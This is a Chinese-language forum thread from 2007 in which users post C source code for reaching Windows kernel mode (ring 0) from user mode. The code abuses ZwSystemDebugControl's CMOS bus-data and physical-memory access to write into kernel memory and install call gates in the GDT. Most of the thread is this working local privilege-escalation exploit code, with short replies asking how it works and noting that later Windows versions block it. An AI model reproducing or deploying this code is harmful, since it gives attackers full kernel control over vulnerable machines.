阅读:3783回复:5
利用NtSystemDebugControl进入Ring0的源代码如下
Sorry,2004年的东东现在才发,呵呵!
/* * Discovered and coded by randnut Jan 25, 2004 * I just add my callgate routine, hope you enjoy it, hehe. ------zjjmj2002 */ #include <windows.h> #include <stdio.h> typedef int NTSTATUS; typedef DWORD ULONG_PTR; #define NTAPI __stdcall const IA32_SYSENTER_CS = 0x174; const IA32_SYSENTER_ESP = 0x175; const IA32_SYSENTER_EIP = 0x176; const SelCodeKernel = 0x8; const CmosIndx = 0x0E; // CMOS Diagnostic Status const RdWrIoPort = 0x80; #define FCHK(a) if (!(a)) {printf(#a " failed\n"); return 0;} #define FCHK2(a,b) if (!(a)) {printf(#a " failed\n"); goto b;} typedef enum _DEBUG_CONTROL_CODE { DebugSysReadIoSpace = 14, DebugSysWriteIoSpace = 15, DebugSysReadMsr = 16, DebugSysWriteMsr = 17, DebugSysReadBusData = 18, DebugSysWriteBusData = 19, } DEBUG_CONTROL_CODE; typedef enum _BUS_DATA_TYPE { ConfigurationSpaceUndefined = -1, Cmos, EisaConfiguration, Pos, CbusConfiguration, PCIConfiguration, VMEConfiguration, NuBusConfiguration, PCMCIAConfiguration, MPIConfiguration, MPSAConfiguration, PNPISAConfiguration, SgiInternalConfiguration, MaximumBusDataType } BUS_DATA_TYPE, *PBUS_DATA_TYPE; // See HalGetBusDataByOffset()/HalSetBusDataByOffset() for explanations of struct MyCallGate { WORD OFFSETL; WORD SELECTOR; BYTE DCOUNT; BYTE GTYPE; WORD OFFSETH; DWORD CodeLimit; DWORD CodeBase; }; typedef struct _BUS_STRUCT { ULONG Offset; PVOID Buffer; ULONG Length; BUS_DATA_TYPE BusDataType; ULONG BusNumber; ULONG SlotNumber; } BUS_STRUCT; typedef NTSTATUS (NTAPI *PZwSystemDebugControl)( DEBUG_CONTROL_CODE ControlCode, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength, PULONG ReturnLength ); PZwSystemDebugControl ZwSystemDebugControl = NULL; int CmosRead(int offs, BYTE** ppAddr = NULL) { BYTE buf; BUS_STRUCT bus; bus.BusDataType = Cmos; bus.BusNumber = 0; bus.SlotNumber = offs; bus.Buffer = ppAddr ? *ppAddr : &buf; bus.Offset = 0; bus.Length = 1; if (ZwSystemDebugControl(DebugSysReadBusData, &bus, sizeof(bus), NULL, 0, NULL) < 0) return -1; else return ppAddr ? 0x100 : buf; } int CmosWrite(int offs, BYTE val, BYTE** ppAddr = NULL) { BUS_STRUCT bus; bus.BusDataType = Cmos; bus.BusNumber = 0; bus.SlotNumber = offs; bus.Buffer = ppAddr == NULL ? &val : *ppAddr; bus.Offset = 0; bus.Length = 1; return ZwSystemDebugControl(DebugSysWriteBusData, &bus, sizeof(bus), NULL, 0, NULL) >= 0; } int WriteMem(DWORD MemAddr, BYTE Value) { int OldVal = CmosRead(CmosIndx); BYTE* p = (BYTE*)(ULONG_PTR)MemAddr; CmosWrite(CmosIndx, Value); CmosRead(CmosIndx, &p); CmosWrite(CmosIndx, OldVal); return 1; } int EnablePrivilege(HANDLE hToken, LPCSTR lpszName, int enable) { TOKEN_PRIVILEGES tok; tok.PrivilegeCount = 1; tok.Privileges[0].Attributes = enable ? SE_PRIVILEGE_ENABLED : 0; FCHK(LookupPrivilegeValue(NULL, lpszName, &tok.Privileges[0].Luid)); FCHK(AdjustTokenPrivileges(hToken, FALSE, &tok, sizeof(tok), NULL, NULL)); return 1; } void CallGate() { MyCallGate CallGate; DWORD GDTBase; _asm { PUSH EDX SGDT FWORD PTR SS:[ESP-2] POP EDX MOV GDTBase,EDX MOV CallGate.OFFSETL,DX SHR EDX,16 MOV CallGate.OFFSETH,DX } CallGate.SELECTOR = 0x358; CallGate.DCOUNT = 0; CallGate.GTYPE = 0xec; CallGate.CodeLimit = 0xffff; CallGate.CodeBase = 0xcf9a00; //Build My CallGate WriteMem(GDTBase, 0xc3); GDTBase = GDTBase+0x350; for ( int i=0 ; i<=15 ; i++ ) { BYTE p; DWORD *q; _asm { LEA ESI,CallGate ADD ESI,i XOR EAX,EAX LODSB MOV p,AL } WriteMem(GDTBase+i, p); } } int main(int argc, char* argv[]) { HMODULE hNtdll; FCHK((hNtdll = LoadLibrary("ntdll.dll")) != NULL); FCHK((ZwSystemDebugControl = (PZwSystemDebugControl)GetProcAddress(hNtdll, "ZwSystemDebugControl")) != NULL); HANDLE hToken; FCHK(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)); FCHK(EnablePrivilege(hToken, SE_DEBUG_NAME, 1)); CallGate(); return 0; } |
|
最新喜欢:haifen... |
沙发#
发布于:2007-07-01 22:13
呵呵...刚刚路过
我也把自己的代码贴上来吧,利用GDT进入RING0 BOOL CallRing0_NtSystemDebugControl_GDT(PVOID pvRing0FuncAddr, PVOID pParam) { PLDT_DESCRIPTOR pLDTDescriptor; GDTR gdtr; WORD CallgateAddr[3]; WORD wGDTIndex = 1; ULONG nRetLength; PBYTE GDT_buff=NULL; BOOL bRet = FALSE; __try { // Initial the NtSystemDebugControl function if( ! InitialNtSystemDebugControl() ) __leave; // Get the gdt _asm Sgdt [gdtr]; GDT_buff = (PBYTE) malloc(gdtr.wGDTLimit); if( GDT_buff == NULL ) __leave; nRetLength = ReadPhysicalMEM( gdtr.dwGDTBase, GDT_buff, gdtr.wGDTLimit); if( nRetLength != gdtr.wGDTLimit ) __leave; // Skip the null descriptor pLDTDescriptor = (PLDT_DESCRIPTOR)(GDT_buff + 8); // Search for a free GDT descriptor for (wGDTIndex = 1; wGDTIndex < (gdtr.wGDTLimit / 8); wGDTIndex++) { if (pLDTDescriptor->Type == 0 && pLDTDescriptor->System == 0 && pLDTDescriptor->DPL == 0 && pLDTDescriptor->Present == 0) { // Found one ! // Now we need to transform this descriptor into a callgate. // Note that we're using selector 0x28 since it corresponds // to a ring 0 segment which spans the entire linear address // space of the processor (0-4GB). PCALLGATE_DESCRIPTOR pCallgate; pCallgate = (PCALLGATE_DESCRIPTOR) pLDTDescriptor; pCallgate->Offset_0_15 = LOWORD(pvRing0FuncAddr); pCallgate->Selector = 0x08; pCallgate->ParamCount = 0; pCallgate->Unused = 0; pCallgate->Type = 0xc; pCallgate->System = 0; pCallgate->DPL = 3; pCallgate->Present = 1; pCallgate->Offset_16_31 = HIWORD(pvRing0FuncAddr); // Flush the gdt nRetLength = WritePhysicalMEM( gdtr.dwGDTBase, GDT_buff, gdtr.wGDTLimit); if( nRetLength != gdtr.wGDTLimit ) __leave; // Prepare the far call parameters CallgateAddr[0] = 0x0; CallgateAddr[1] = 0x0; CallgateAddr[2] = (wGDTIndex << 3) | 3; // Please fasten your seat belts! // We're about to make a hyperspace jump into RING 0. _asm push pParam; _asm Call FWORD PTR [CallgateAddr]; // We have made it ! // Now free the GDT descriptor memset(pLDTDescriptor, 0, 8); nRetLength = WritePhysicalMEM( gdtr.dwGDTBase, GDT_buff, gdtr.wGDTLimit); if( nRetLength != gdtr.wGDTLimit ) __leave; // Our journey was successful. Seeya. bRet = TRUE; __leave; } // Advance to the next GDT descriptor pLDTDescriptor++; } } __finally { FreeNtSystemDebugControl(); if( GDT_buff ) free(GDT_buff); return bRet; } } |
|
板凳#
发布于:2007-07-02 19:44
// Prepare the far call parameters
CallgateAddr[0] = 0x0; CallgateAddr[1] = 0x0; CallgateAddr[2] = (wGDTIndex << 3) | 3; // Please fasten your seat belts! // We're about to make a hyperspace jump into RING 0. _asm push pParam; _asm Call FWORD PTR [CallgateAddr]; 1.为什么要push pParam 2.call 后进入ring0, 怎么退出到ring3呢 |
|
|
地板#
发布于:2007-07-02 23:03
呵呵,改GDT早就不是什么秘密了,关键是WritePhysicalMEM
|
|
|
地下室#
发布于:2007-11-25 13:53
好东西,已经收藏,
有一疑问, DebugSysReadMsr = 16, DebugSysWriteMsr = 17, 这两个command只能在XP上ok, 2k3和vista好象不行啊。 请高人指教 |
|
5楼#
发布于:2007-11-25 14:10
2k3和vista已屏蔽,进R0,想别的招吧 呵呵
|
|
|